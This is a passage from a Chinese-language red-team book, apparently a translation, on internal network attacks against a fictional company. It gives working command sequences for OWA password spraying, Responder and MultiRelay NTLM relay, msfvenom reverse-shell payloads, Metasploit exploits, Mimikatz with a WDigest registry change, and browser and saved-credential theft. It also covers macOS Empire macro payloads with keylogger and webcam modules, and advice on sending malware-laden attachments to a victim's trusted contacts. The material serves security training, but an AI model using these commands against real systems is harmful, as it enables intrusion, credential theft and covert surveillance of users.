正如您将在下面的示例中看到的那样，我们运行Spray工具，攻击cyberspacekittens公司的虚假OWA邮件服务器（实际上根本存在），当它尝试用户名peter和密码Spring2018时，身份认证通过了（您可以通过数据长度判断是否成功），如图4.1所示。

这是一个使用Curl工具快速脚本实现的OWA系统暴力破解
图4.1

我经常遇到的一个问题是尝试使用哪些密码，因为在锁定账户之前，您只能进行有限次数的密码尝试。这个问题没有明确的答案，尝试的内容严重依赖于攻击目标。我们曾经成功尝试非常简单的密码，如“Password123”，但很少有用户使用这样简单的密码。通常我们尝试的凭证密码如下。

季节+年份。

本地运动队+数字。

查看之前的泄露事件，找到目标公司的用户并使用类似的密码。

公司名称+年份/数字/特殊字符（!、$、#和@）。

使用这些密码，我们可以慢慢地全天候进行扫描尝试，以免触发任何账户锁定。请记住，只需要一个密码就可以进入目标系统！

Spray 工具配置非常简单，并且通过设置可以应用在其他应用程序。您需要做的是捕获密码尝试的POST请求（您可以在Burp Suite中捕获请求），复制所有请求数据，并将其保存到文件中。对于任何需要暴力破解的字段，您需要提供字符串“sprayuser”和“spraypassword”。

举个例子，在我们的环境中，post-request.txt文件将如下所示。

POST/owa/auth.owa HTTP/1.1
Host: mail.cyberspacekittens.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f
Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodeddestination=https%3A%2F%2Fcyberspacekittens. com%2Fowa%2F&flags=4
&forcedownlevel=0&username= sprayuser@cyberspacekittens.com&pass
word= spraypassword&passwordText=&isUtf8=1

如前所述，spray.sh的另一个优点是它支持SMB和Lync协议。另一个可以利用Spraying结果的工具叫作Ruler。Ruler是Sensepost编写的工具，允许您通过MAPI/HTTP或RPC/HTTP与Exchange服务器进行交互。虽然这里主要讨论使用Ruler进行暴力破解/信息搜集，但是这个工具还支持一些持久性攻击功能，我们将进行简要说明。

我们可以利用的第一个功能类似于Spray工具，暴力破解用户名和密码。Ruler将接收用户名和密码列表，并尝试查找凭证，如图4.2所示。它将自动尝试获取Exchange配置以及凭证。下面运行Ruler。

ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt。

图4.2

找到单个密码后，我们就可以使用Ruler工具，转储O365全局地址列表（GAL）中的所有用户，从而查找更多的电子邮件地址及其所属的电子邮件组，如图4.3所示。

图4.3

使用这些电子邮件地址，我们能够通过暴力破解工具，尝试登录所有账户，并找到更多凭证，这是密码的循环使用。但是，Ruler工具的主要功能是，一旦您拥有凭证，就可以利用Office/Outlook中的“功能”，在被攻击者的电子邮件账户上创建规则和表单。如果您决定不使用Outlook表单，或者功能已被禁用，那么我们可以随时重新使用电子邮件的攻击方式。这种方式让人感觉有点猥琐，因为您必须以其中一个用户身份登录并阅读所有电子邮件。通过阅读电子邮件，知道了一些好笑的事情之后，我们希望找到和用户彼此信任的人（但不是好朋友）的交流邮件。由于他们已经建立了良好的信任，因此我们希望利用这层关系并向他们发送恶意软件。通常，我们会修改其中一个邮件中的附件（如Office文件/可执行文件），然后重新发送给对方，但附件内容中包括我们定制的恶意软件。使用来自内部地址的可信连接和电子邮件将扩大攻击范围和成功率。

本书反复提及的一点是，整个活动旨在测试蓝队的检测工具/流程。我们开展某项行动，了解蓝队是否能够发出警报或者取证并检测出发生的攻击事件。对于这部分行动，我喜欢验证目标公司是否能够发现有人正在获取用户的电子邮件。因此，我们所做的是使用Python脚本转储所有受感染的电子邮件。在许多情况下，这可能是千兆字节的数据！

高级实验

一个很好的练习是针对不同的身份验证类型服务、测试所有密码。尝试并构建一个密码喷射工具，用于对XMPP服务、常见第三方SaaS工具和其他常见协议进行身份验证测试。更好的方法是搭建多个虚拟主机，这些虚拟主机都由一个主服务器控制。

4.2　在网络中移动

作为红队，我们希望尽可能“安静”地访问网络。我们想基于这种“安静”的特性，查找和获取有关网络、用户、服务和其他各种信息。通常，在红队行动中，我们不希望在环境中运行任何漏洞扫描工具，甚至有时不想运行Nmap工具对内部网络进行扫描，这是因为许多公司的安全防护设备能够检测这些类型的扫描，并且很容易发现漏洞扫描程序的扫描动作。

在本节中，您将重点关注访问Cyber Space Kittens网络，而不要引发任何检测。我们假设您已经以某种方式进入网络，并开始寻找您的第一组凭证或在用户的计算机上拥有一个Shell。

设置环境——实验网络

这部分是完全可选的，但是，由于微软公司版权许可问题，本书中没有任何预先安装的虚拟机实验环境，因此现在由您来建立一个“实验室”！

真正了解攻击环境的唯一方法是自己重新构建环境。这使您可以更清楚地了解攻击的目标，攻击成功或者失败的原因，以及一些工具或流程的局限性。那么您需要搭建什么样的实验环境？根据客户的环境，您可能需要Windows和Linux（甚至可能是Mac）。如果您要攻击企业网络，则可能需要构建完整的活动目录（AD）网络。在下面的实验中，我们将讨论如何为本书中的所有示例构建一个实验环境。

您在家创建的一个理想的Windows测试实验室，可能如下所示。

域控制器-服务器：[Windows 2016域控制器]。

网站服务器：[Windows 2016上的IIS服务器]。

客户端计算机：[Windows 10] × 3和[Windows 7] × 2。

所有客户端在VMWare Workstation上运行，最低配置为16 GB RAM和500 GB SSD硬盘。

配置和创建域控制器如下所示。

（1）微软公司发布的有关构建2016服务器的指南。

（2）安装和配置活动目录（AD）后，使用以下命令创建用户和组：dsac.exe。

创建多个用户。

创建分组并分配用户。

空间组

服务组

实验组

设置客户端计算机（Windows 7/Windows 10）并加入域。

更新所有机器。

将计算机加入域。

确保为每个设备添加一个域用户，该域用户在设备中以本地管理员身份运行。这可以通过将该域用户添加到本地计算机的本地管理员组来完成。

在每台主机上启用本地管理员并设置密码。

设置GPO。

禁用防火墙。

禁用杀毒软件。

禁用更新。

将帮助台用户添加到本地管理员组。

仅允许域管理员、本地管理员和帮助台用户登录。

最后，在根域应用您的GPO。

将操作系统的所有用户设置为自动登录（这只会使测试工作变得更加轻松）。在每次机器启动或重新启动时，用户都会自动登录，我们可以轻松地测试攻击效果，实现从内存中提取凭证。

4.3　在没有凭证的网络上

4.3.1　Responder

就像之前的行动，我们使用Responder工具（可在GitHub网站搜索）监听网络和欺骗响应数据，从而获取网络上的凭证。回顾本书第2版的内容，当网络上的系统查找DNS主机名失败时，该被攻击者系统将链路本地多播名称解析（LLMNR）和Net-BIOS（NBT-NS）名称服务用于名称解析备份。当被攻击者主机无法通过DNS查询时，被攻击者开始询问网络上的主机是否可以解析该主机名。

有一个简单且通用的例子：假设您的主机有一个固定加载驱动\cyberspacekittenssecretdrive\ secrets。有一天，IT部门从网络中删除了该共享驱动器，它已不再存在。由于主机仍然加载驱动器到服务器，因此系统将不断询问网络是否有主机知道驱动器的IP地址。现在，这个文件共享可能很难找到，由于网络中存在先前连接的系统的可能性很高，因此这个问题仍然会发生。我们已经从安装的驱动器、具有硬编码服务器的应用程序中看到这个问题，而且很多时候仅仅是配置错误。

我们可以使用类似Responder的工具来利用那些寻找主机名的系统，并使用恶意服务器对其进行响应。更棒的是，Responder 工具可以更进一步，充当 Web 代理自动发现（WPAD）协议服务器，通过攻击者服务器代理所有的数据，但这是另外一种攻击方式。

cd /opt/Responder。

./Responder.py -I eth0 -wrf。

现在，因为处于Windows企业环境中，所以可以假设Responder工具正在活动目录中运行。因此，如果响应来自受害主机的DNS查询，就可以让其连接到我们的SMB共享。由于它们连接到驱动器\cyberspacekittenssecretdrive，因此我们将强制被攻击者使用NTLMv2凭证（或缓存凭证）进行身份验证，如图4.4所示。捕获的这些凭证不是直接的NTLM散列值，而是NTLM质询/响应散列值（NTLMv2-SSP）。NTLMv2-SSP散列值暴力破解的速度，比普通的NTLM散列值慢得多，但这不是大问题，因为我们可以使用大型破解设备实现破解（参见第8章）。

图4.4

我们可以输入NTLMv2散列，将其传递给hashcat工具，破解密码。在hashcat工具中，我们需要为NetNTLMv2指定散列格式“-m”。

hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*。

现在，假设我们真的不想破解散列，或者我们不介意弹出对话框（提醒用户此处可疑）。我们可以不使用NetNTLMv2鉴权方式，强制使用基本的鉴权方式，参数是F（ForceWpadAuth）和b（基本身份验证）。

python ./Responder.py -I eth0 -wfFbv。

从图4.5可以看出，系统将提示用户输入用户名和密码，大多数人都会不自觉地输入。一旦用户提交了凭证，我们就能以明文形式捕获凭证，如图4.6所示。

图4.5

图4.6

4.3.2　更好的Responder（MultiRelay.py）

Responder工具和破解NTLMv2-SSP散列的问题在于破解这些散列值所需的时间可能很长。更糟糕的是，在这个环境中，管理员的密码长度超过20个字符。那么，在这个场景中，我们能做些什么呢？

如果目标没有强制执行SMB签名（可以使用快速Nmap脚本扫描找到它），那么我们可以使用一个小技巧，重放捕获的SMB请求。

Laurent Gaffie在Responder中加入了一个工具来处理身份鉴权的重放攻击。在Per Laurent的网站上，Responder的工具文件夹中包含MultiRelay工具，它是一个强大的渗透测试程序，使您能够对选定的目标执行NTLMv1和NTLMv2中继攻击。目前，MultiRelay支持将HTTP、WebDav、代理和SMB身份验证协议中继到SMB服务器。该工具可以定制接收多个用户中继，仅针对域管理员、本地管理员或特权账户。

从更高的层面来说，MultiRelay将根据我们的设置，转发身份鉴权请求到被攻击者主机，而不是强制被攻击者向我们的SMB共享发送身份鉴权请求。当然，该中继用户需要访问另一台机器；如果成功，我们不需要处理任何密码或暴力破解。首先，需要配置Responder和MultiRelay工具。

编辑Responder配置文件，禁用SMB和HTTP服务器。

gedit Responder.conf

将SMB和HTTP更改为“关闭”

启动Responder工具。

python ./Responder.py -I eth0 -rv

在新的终端窗口中启动MultiRelay。

/opt/Responder/tools

./MultiRelay.py -t <target host> -c <shell command> -u ALL

一旦中继到被攻击者主机的目标实现，如图4.7所示，就需要考虑在被攻击者主机上执行的内容。默认情况下，MultiRelay可以生成基本Shell，但我们也可以自动执行Meterpreter PowerShell静荷、Empire PowerShell静荷、dnscat2 PowerShell静荷、PowerShell下载脚本和执行C2代理、Mimikatz，或者只运行calc.exe工具。

图4.7

4.3.3　PowerShell Responder

一旦突破了Windows系统，我们就可以使用PowerShell工具对被攻击者开展Responder攻击。早期的Responder的两个功能可以通过以下两个工具实现。

Inveigh。

Inveigh-Relay。

为了使事情变得更加简单，所有这些工具都已经集成到Empire中。

4.4　没有凭证的用户枚举

一旦进入网络，我们就可以使用Responder工具获取凭证或Shell，但有时也会出现这种情况——目标启用SMB签名并且破解NTLMv2 SSP不可行。此时，我们可退后一步，从基本的攻击方式开始。在无法主动扫描网络的情况下，我们需要获得一个用户列表（可能是密码喷射甚至社会工程）。

一种选择是开始针对域控制器枚举用户。从历史上看（早在2003年），我们可以尝试执行RID循环以获取所有用户账户的列表。虽然这种方法已经不可用，但还有其他选项可用于暴力破解账户。另一种选择是利用Kerberos，如图4.8所示。

nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm= "cyberspacekittens. local",userdb=/opt/userlist.txt<Domain Controller IP>。

图4.8

我们需要提供一个测试的用户名列表，但是由于只是查询域控制器并且不对其进行身份鉴权，因此这个操作通常不会被发现。现在，我们可以使用这些用户账户并再次进行密码喷射攻击！

4.5　使用CrackMapExec（CME）扫描网络

如果还没有突破的系统，但我们确实通过Responder、配置错误的网络应用程序、暴力破解或打印机获得了凭证，那么可以尝试扫描网络，查看账户可以登录的位置。使用像CrackMapExec（CME）等工具进行简单的扫描，可以帮助找到内部网络初始突破点。

从已经取得的效果看，我们使用CME扫描网络，识别/验证网络上的SMB资源，在多个主机上远程执行命令，甚至通过Mimikatz提取明文凭证。Empire和CME提供新的功能，我们可以利用Empire的REST功能。在下面的场景中，我们将使用其REST API启动Empire，在CME中配置密码，将CME连接到Empire，使用掌握的单个凭证扫描网络，最后，如果通过身份鉴权，则自动推送Empire静荷到远程被攻击者的系统，如图4.9所示。如果您有帮助账户或特权账户，那么准备加载Empire shells吧！

图4.9

启动Empire的REST API服务器。

cd /opt/Empire

./empire --rest –password 'hacktheuniverse'

更改CrackMapExec密码。

gedit /root/.cme/cme.conf

password=hacktheuniverse

运行CME，生成Empire Shell。

cme smb 10.100.100.0/24 –d 'cyberspacekittens.local' –u '<username>' – p '<password>' - M empire_exec -o LISTENER = http

4.6　突破第一台主机

通过社会工程、潜伏设备、Responder工具、攻击打印机或其他攻击方式，您获得了主机的访问权限，您接下来要做什么？这是一个难题。

在过去，通常是了解所处的位置以及周围的网络。我们最初可能会运行类似于“netstat -ano”的命令来查找被攻击者服务器的IP地址范围、域和用户。我们还可以执行“ps”或“sc queryex type = service state = all | find”_NAME“”之类的命令列出所有正在运行的服务，并查找杀毒软件或其他主机保护。以下是最初可能运行的一些命令。

网络信息。

netstat -anop | findstr LISTEN

net group "Domain Admins"/domain

进程列表。

tasklist/v

系统主机信息。

sysinfo

Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\ temp \ os.txt

wmic qfe get Caption,Description,HotFixID,InstalledOn

简单文件搜索。

dir/s *password*

findstr/s/n/i/p foo *

findstr/si pass * .txt | * .xml | * .ini

共享/已安装驱动器的信息。

powershell -Command "get-WmiObject -class Win32_Share"

powershell -Command "get-PSDrive"

powershell -Command "Get-WmiObject -Class Win32_MappedLogicalDisk | select Name，ProviderName"

其实绝大部分人并没有时间记住所有这些命令，幸运的是我们有RTFM一书（很棒的资源），leostat创建了一个快速的Python脚本，包含大量这样的命令，可以在一个名为rtfm.py的工具中轻松搜索。

更新并运行RTFM。

cd /opt/rtfm

chmod + x rtfm.py

./rtfm.py -u

./rtfm.py -c 'rtfm'

搜索所有标签。

./rtfm.py -Dt

查看每个标签的查询/命令。我喜欢使用枚举类别，如图4.10所示。

./rtfm.py -t enumeration | more

现在，RTFM 包含的命令非常丰富，并且这些命令都很实用。这对于任何行动来说是非常好的资源。

这些都是我们为了获取信息而一直在做的事情，但是如果我们能从环境中获得更多信息呢？使用PowerShell，我们可以获得所需的网络/环境信息。由于PowerShell可以在任何命令和控制工具中轻松执行，因此您可以使用Empire、Metasploit或Cobalt Strike来做这些实验。在以下示例中，我们将使用Empire，但您也可以尝试使用其他工具。

图4.10

4.7　权限提升

从常规用户升级到特权账户有很多不同的方法。

下面介绍一下不带引号的服务路径漏洞。

这是一个相当简单和常见的漏洞，服务可执行文件路径未被引号括起。因为在路径周围没有引号，所以我们可以利用这个服务。假设我们有一个配置为执行C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe的服务。如果具有Cyber Kittens 文件夹写权限，那么我们可以将恶意软件放到目录 C:\Program Files (x86)\Cyber Kittens\Cyber.exe（注意，缺少 Kittens.exe）。如果服务随系统启动执行，我们可以等到服务重新启动，并将恶意软件以特权账户运行。

如何查找易受攻击的服务路径。

wmic service get name,displayname,pathname,startmode |findstr/i "Auto" |findstr/i/v "C:\Windows\" |findstr/i/v """

查找BINARY_PATH_NAME

查找不安全的服务注册表权限。

识别允许更新服务映像路径位置的权限漏洞。

检查AlwaysInstallElevated注册表项是否启用。

检查AlwaysInstallElevated注册表项，该注册表项标识是否使用提升的权限安装.MSI文件（NT AUTHORITY \ SYSTEM）。

请注意，我们并不需要手动执行这些操作，Windows中的Metasploit和PowerShell工具模块已经实现该功能。在下面的示例中，我们将介绍PowerUp PowerShell脚本。在这种情况下，脚本随着Empire一起运行，并将检查所有常见的错误配置区域，找到允许常规用户获取本地管理或系统账户的漏洞。在图4.11所示的示例中，我们在被攻击者系统中运行脚本，并发现本地系统存在未加引号的服务路径漏洞。现在，我们可能无法重新启动该服务，但我们应该能够利用此漏洞并等待重新启动。

Empire通电模块。

usermodule privesc/powerup/allchecks

立刻显示的内容。

ServiceName                 : WavesSysSvc
Path                         : C:\Program
Files\Waves\MaxxAudio\WavesSysSvc64.exe
ModifiableFile              : C:\Program
Files\Waves\MaxxAudio\WavesSysSvc64.exe
ModifiableFilePermissions    : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : Everyone
StartName                      : LocalSystem

对于WavesSysSyc服务，似乎每个用户都具有写权限，这意味着可以用恶意二进制文件替换WaveSysSvc64.exe文件。

图4.11

创建Meterpreter二进制文件（稍后将讨论如何绕过杀毒软件）。

msfvenom -p windows/meterpreter/reverse_https LHOST = [ip] LPORT = 8080 -f exe> shell.exe

使用Empire上传二进制文件并替换原始二进制文件。

upload ./shell.exe C:\users\test\shell.exe

shell copy C:\users\test\Desktop\shell.exe "C:\ProgramFiles\Waves\MaxxAudio\ WavesSysSvc64.exe"

重新启动服务或等待系统重新启动。

一旦服务重新启动，Meterpreter Shell将具有系统权限！使用PowerUp，您会发现许多容易受到权限提升影响的服务。

对于未修补的Windows系统，确实存在权限提升漏洞，但是如何快速识别Windows系统上安装的补丁？我们可以在被攻击者系统上，使用默认命令来查看安装了哪些服务包。利用Windows内置命令“systeminfo”，可以获取Windows主机所有修补程序历史记录。根据命令输出，将这些历史记录推送到Kali系统中，运行Windows Exploit Suggester来查找针对这些漏洞的漏洞利用程序，如图4.12所示。

图4.12

返回Windows 10被攻击者系统。

systeminfo。

systeminfo > windows.txt。

将windows.txt复制到Kali系统的/opt/Windows-Exploit-Suggester目录。

python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls。

这个工具已经一段时间没有主动更新了，但您可以轻松找到权限提升漏洞。

如果在一个已打好补丁的Windows环境中，我们会关注第三方软件中的权限提升漏洞或操作系统的任何0-day/新漏洞。例如，我们一直在挖掘Windows中的权限提升漏洞，漏洞在本书写作之时未打补丁。在这种情况下，通常可能存在一些基本的漏洞演示代码，但是我们需要测试，验证并多次完成攻击。我们定期检测公共权限提升漏洞的一些区域。

通常，这只是时间问题。例如，从发现漏洞到打上补丁，您只有有限的时间和机会可以突破系统。

4.7.1　权限提升实验

测试和尝试不同权限提升漏洞的较好的实验环境是Metasploitable3，由Rapid7提供。这个存在漏洞的框架会自动构建一个Windows虚拟机，包含了所有常见漏洞和一些不常见的漏洞。它需要进行一些设置，但是虚拟机配置完成后，它就是一个很棒的测试实验环境。

下面介绍一个示例，帮助您快速入门。

使用Nmap工具扫描Metasploitable3设备（确保扫描所有端口，否则可能遗漏一些端口）。

您将在端口8383上看到ManageEngine正在运行。

启动Metasploit并搜索任何ManageEngine漏洞。

msfconsole

search manageengine

use exploit/windows/http/manageengine_connectionid_write

set SSL True

set RPORT 8383

set RHOST <Your IP>

exploit

getsystem

您会发现无法访问系统，因为受到攻击的服务不是特权进程。您可以在此处尝试所有不同的权限提升攻击方式。

我们发现Apache Tomcat作为特权进程正在运行。如果利用该服务，那么我们的静荷将以高权限执行。Apache Tomcat运行在端口8282上，但访问需要用户名和密码。由于已经有一个用户Shell，因此我们可以尝试在磁盘上搜索密码。我们可以在互联网中搜索“Where are Tomcat Passwords Stored”，结果是tomcat-users.xml。

在被攻击者设备中，搜索和读取tomcat-users.xml文件。

shell

cd \ && dir/s tomcat-users.xml

type "C:\Program Files\Apache Software
Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml"

现在使用获取的密码攻击Tomcat。首先，登录到端口8282上的Tomcat管理控制台，查看密码是否正常工作。然后使用Metasploit，通过Tomcat部署恶意WAR文件。

search tomcat

use exploit/multi/http/tomcat_mgr_upload

show options

set HTTPusername sploit

set HTTPpassword sploit

set RPORT 8282

set RHOST <Metasploitable3_IP>

set Payload java/shell_reverse_tcp

set LHOST <Your IP>

exploit

whoami

您现在具有系统权限。我们使用第三方工具将权限提升到系统权限。

4.7.2　从内存中提取明文文本凭证

Mimikatz 工具已经存在了一段时间，在获取明文密码方面改变了游戏规则。在Windows 10之前，在主机上以管理员身份运行Mimikatz工具，攻击者可以从LSASS（本地安全子系统）中提取明文密码。这种方法非常有效，直到Windows 10出现，即使本地管理员也无法读取明文密码。现在，我看到一些有趣的用法，单点登录（SSO）或一些特殊的软件将密码放在LSASS中，Mimikatz 可以读取密码，但我们现在不考虑这种情况。在本章中，我们将讨论当Mimikatz工具不起作用时该怎么做（如在Windows 10操作系统中）。

假设您已经突破了Windows 10工作站，并将权限提升为本地管理员。在默认情况下，您可以启动Mimikatz，输入下面的查询命令，查看密码字段，发现为null，如图4.13所示。

图4.13

那么，您可以做什么？比较简单的选择是设置注册表项，将密码放到LSASS中。在HKLM中，有一个UseLogonCredential项，如果设置为0，则会将凭证存储在内存中。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest/v UseLogonCredential/t REG_DWORD/d 1/f。

使用Empire工具，我们可以在Shell中运行这个命令。

shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\ WDigest/v UseLogonCredential/t REG_DWORD/d 1/f

这样设置的问题是我们需要用户重新登录系统。这可能导致屏幕超时、重新启动或注销，然后您才可以再次捕获明文凭证。比较简单的方法是锁定工作站（这样它们就不会丢失任何工作……）。触发锁定屏幕操作如下。

rundll32.exe user32.dll，LockWorkStation。

一旦导致锁定屏幕，并且用户重新登录，我们就可以重新运行Mimikatz获取明文密码，如图4.14所示。

图4.14

如果我们无法获得本地管理账户怎么办？有什么其他方法获取用户的凭证？回想之前的方法，常见的测试攻击需要查看胖客户端的用户空间内存，查看能否发现明文形式的凭证。现在一切都是基于浏览器的，我们可以在浏览器中做同样的事情吗？

安全研究人员putterpanda提供了一个很不错的原型验证风格工具来实现这个功能，该工具称为Mimikittenz。Mimikittenz工具的功能是利用Windows函数ReadProcessMemory()从各种目标进程（如浏览器）中提取纯文本密码。

Mimikittenz为Gmail、Office 365、Outlook Web、Jira、GitHub、Bugzilla、Zendesk、Cpanel、Dropbox、Microsoft OneDrive、AWS Web Services、Slack、Twitter和Facebook提供了大量内存搜索查询的方法。您也可以在Mimikittenz中轻松地设计出自己的搜索方法。

Mimikittenz 的最大优点是它不需要本地管理员访问权限，因为它访问的是所有用户空间内存。一旦突破了主机，我们就可以将Mimikittenz导入内存，然后运行Invoke- mimikittenz脚本。

如图4.15所示，用户使用Firefox浏览器登录到GitHub，我们可以从浏览器的内存中提取用户名和密码。现在，我希望每个进行模拟攻击的读者都可以将此工具提升到新的水平，并为不同的应用程序创建更多的搜索查询方法。

图4.15

4.7.3　从Windows凭证存储中心和浏览器中获取密码

Windows凭证存储中心是Windows的默认功能，它为系统、网站和服务器保存用户名、密码和证书。当您使用Microsoft IE/Edge对网站进行身份验证时，通常会弹出一个提示“是否要保存密码？”的窗口。凭证存储中心是存储密码的地方。在证书管理器中，有两种类型的凭证：网站和Windows。您记得什么用户有权访问这些数据吗？不是系统用户，而是登录的用户可以获取此信息，如图4.16所示。这对我们来说很有利，就像任何网络钓鱼或代码执行攻击一样，我们通常具有被攻击者的权限。我们甚至不需要成为本地管理员就可以提取这些数据。

图4.16

如何提取这些信息？我们可以导入两个不同的PowerShell脚本来搜集这些数据，如图4.17所示。

获取网站凭证。

获取Windows凭证（类型仅是常用主机，而不是域主机）。

正如您从转储数据中看到的那样，我们同时提取了Facebook凭证以及内存中存储的任何通用凭证。请记住，对于网站凭证，Get-WebCredentials仅从Internet Explorer/Edge获取密码。如果我们需要从Chrome中获取凭证，那么可以使用Empire静荷powershell/collection/ ChromeDump。为了让ChromeDump脚本工作，您首先需要终止Chrome进程，然后运行ChromeDump。最后，我喜欢提取所有浏览器历史记录和Cookie。我们不仅可以了解它们的内部服务器，而且，如果会话仍然存在，那么我们可以使用Cookie并在不知道密码的情况下进行身份鉴权！

图4.17

如图4.18所示，使用PowerShell脚本，我们可以提取所有浏览器Cookie，并在我们的浏览器中使用这些Cookie，所有这些都不需要提升权限。

图4.18

接下来，我们甚至可以开始在被攻击者系统上安装的所有第三方软件中查找服务器和凭证。SessionGopher工具可以从WinSCP、PuTTY、SuperPuTTY、FileZilla和Microsoft远程桌面获取主机名和保存的密码。这个工具的另外一个功能是能够从网络上的其他系统远程获取本地凭证。启动SessionGopher的简单方法是导入PowerShell脚本并使用以下命令执行。

导入PowerShell文件。

. .\SessionGopher.ps1

执行SessionGopher工具。

Invoke-SessionGopher -Thorough

我们从主机系统获取凭证的这些方法，无须权限提升、绕过UAC或运行键盘记录器。由于处在用户环境中，因此我们可以访问主机的许多资源，从而帮助我们继续渗透。

4.7.4　从macOS中获取本地凭证和信息

本书中的大多数横向移动都集中在Windows，这是因为几乎所有大中型单位都使用活动目录管理系统和主机。我们可能会越来越多地遇到Mac主机，因此在本书内容中也包括Mac主机。一旦进入Mac主机环境，许多攻击就与Windows的情况类似了（举个例子，扫描默认口令、Jenkin/应用程序攻击、嗅探网络以及通过SSH或VNC横向移动）。

在Empire中，有一些macOS的静荷也是我比较喜欢的工具。Empire可以生成多个静荷，诱骗被攻击者执行我们的代理。这些静荷包括ducky脚本、应用程序、Office宏、Safari启动器和pkgs等。例如，我们可以在PowerShell Empire中创建一个Office宏，类似于在Windows中所做的，如图4.19所示。

（1）启动Empire。

（2）首先，确保像我们在本书开头介绍的那样设置您的Empire监听器。

（3）接下来，构建一个macOS宏静荷。

usestager osx/macro

（4）设置OutFile，写入您的本地文件系统。

set OutFile/tmp/mac.py

（5）生成静荷。

图4.19

如果查看生成的Office宏，那么您将看到它采用Base64代码，由Python执行。对我们来说，幸运的是，Python是macOS上的默认应用程序，当执行Office宏时，我们应该获得代理回连。

在macOS中创建恶意的Excel文件，我们打开新的Excel工作表，转到工具，查看宏，在此工作簿中创建宏，当Microsoft Visual Basic打开时，删除所有当前代码并将其替换为所有新的宏代码。最后，将其另存为xlsm文件，如图4.20所示。

图4.20

现在，将恶意文件发送给被攻击者，并查看Empire代理回连到系统。在被攻击者方面，当他们打开Excel文件时，显示的内容如图4.21所示。

图4.21

您要确保提供一个合理的理由，让被攻击者单击启用宏。

一旦代理回连到您的Empire服务器，侦查阶段的操作就非常相似了。我们需要执行以下操作。

转储浏览器信息和密码：usemodule collection/osx/browser_dump。

启用键盘记录：usemodule collection/osx/keylogger。

应用程序弹出对话框捕获密码：usemodule collection/osx/prompt。

使用他们的相机拍摄照片：usemodule collection/osx/webcam。

4.8　工作在Windows域环境中

同样，在下面的示例中，我们将使用PowerShell Empire。但是，您也可以使用Metasploit、Cobalt Strike或类似的工具进行同样的攻击。只要您能够将PowerShell脚本导入内存并避开主机系统的安全防护机制，使用什么工具并不重要。

既然您已经突破了被攻击者的主机，从他们的工作站获取了所有秘密，掌握了被攻击者浏览的一些网站，并执行了一些netstat风格的侦查……下一步要做什么呢？

红队真正关心的是在服务器、工作站、用户、服务以及活动目录中是否可以搜索可靠的信息。在很多情况下，由于存在报警/捕获的风险，因此我们无法运行任何漏洞扫描工具（甚至Nmap扫描工具）。那么，如何利用网络和服务的“功能”，找到我们需要的所有信息呢？

4.8.1　服务主体名称（SPN）

服务主体名称（SPN）是Windows中的一项功能，允许客户端唯一标识服务实例。Kerberos身份鉴权使用SPN功能，将服务实例与服务登录账户相关联。举个例子，一个SPN对应一个服务账户，此服务账户运行MS SQL服务器、HTTP服务器和打印服务器等的SPN。对于攻击者，查询SPN是枚举阶段的重要部分，这是因为任何域用户账户都能够查询活动目录，获取关联的所有服务账户/服务器。我们可以识别所有数据库和网站服务器，甚至一台主机都不需要扫描！

作为攻击者，我们可以利用这些“功能”查询活动目录。在任何加入域的计算机上，攻击者都可以运行setspn.exe文件来查询活动目录。此文件是默认的Windows二进制文件，存在于所有Windows系统中。

setspn -T [DOMAIN] -F -Q */*。

参数如下。

-T：查询指定域

-F：查询活动目录林，而不是域

-Q：在目标域或者目标林执行

*/*：所有内容

我们可以从Setspn查询中获得什么类型的信息？如图4.22所示，运行setspn命令，我们看到有关域控制器上运行服务的信息和工作站的信息，我们还找到了一台名为CSK-GITHUB的服务器。在这个例子中，我们可以看到在该服务器上运行了HTTP服务。即使是在不同的端口上，如果仍然是HTTP，那么该信息也将被列出。

Setspn不仅会提供有关服务用户和活动目录中所有主机名的有用信息，还会告诉我们系统中运行的服务甚至端口号。如果可以直接从活动目录中获取服务甚至端口的大部分信息，那么我们为什么要扫描网络？Jenkins、Tomcat和ColdFusion，什么是您可能立即攻击的目标？

图4.22

4.8.2　查询活动目录

我多次获得一个域账户和密码，却被管理员告知这只是一个没有其他权限的域账户。我们可以在打印机、共享信息工作站、带有服务密码的平面文件文本、配置文件、iPad、Web应用程序页面源中包含密码的地方，找到这种类型的域账户。对于不是其他组成员的基本域账户，您可以做些什么？

获取有关活动目录用户的详细信息

我们可以使用@ harmj0y创建的、名为PowerView的工具，帮助我们完成所有琐碎的工作。PowerView使用PowerShell脚本，可在Windows域上获得网络态势感知信息。它包含一组纯PowerShell脚本，可以替换各种Windows“net *”命令，它使用PowerShell AD挂钩和底层Win32 API函数，实现各种有用的Windows域功能。作为攻击者，我们可以利用PowerView和PowerShell查询活动目录，活动目录中最低权限的用户——“域用户”即可完成任务，根本不需要本地管理员权限。

让我们来看看这个低级别用户可以获得什么样的数据。首先，运行Empire（您可以使用Metasploit、Cobalt Strike或类似的工具完成相同的任务）并在被攻击者系统上执行静荷。如果您之前从未设置过Empire，那么可查看有关Empire和Empire静荷设置的章节。一旦代理与命令和控制服务器通信，我们就可以输入“info”来查找有关被攻击者主机的信息。目前，我们在cyberspacekitten域中突破了Windows 10系统主机，主机已经打上了完整的Windows补丁，用户名为neil.pawstrong，如图4.23所示。

图4.23

接下来，我们想要在域中查询信息，并且要避免引起太多怀疑。我们可以使用Empire中的PowerView工具获取信息。PowerView查询域控制器（DC）以获取有关用户、组、计算机等各种信息。我们使用PowerView功能查询域控制器，并且应该看起来像普通流量一样。

Empire中有一些模块可用于态势感知，如图4.24所示。

图4.24

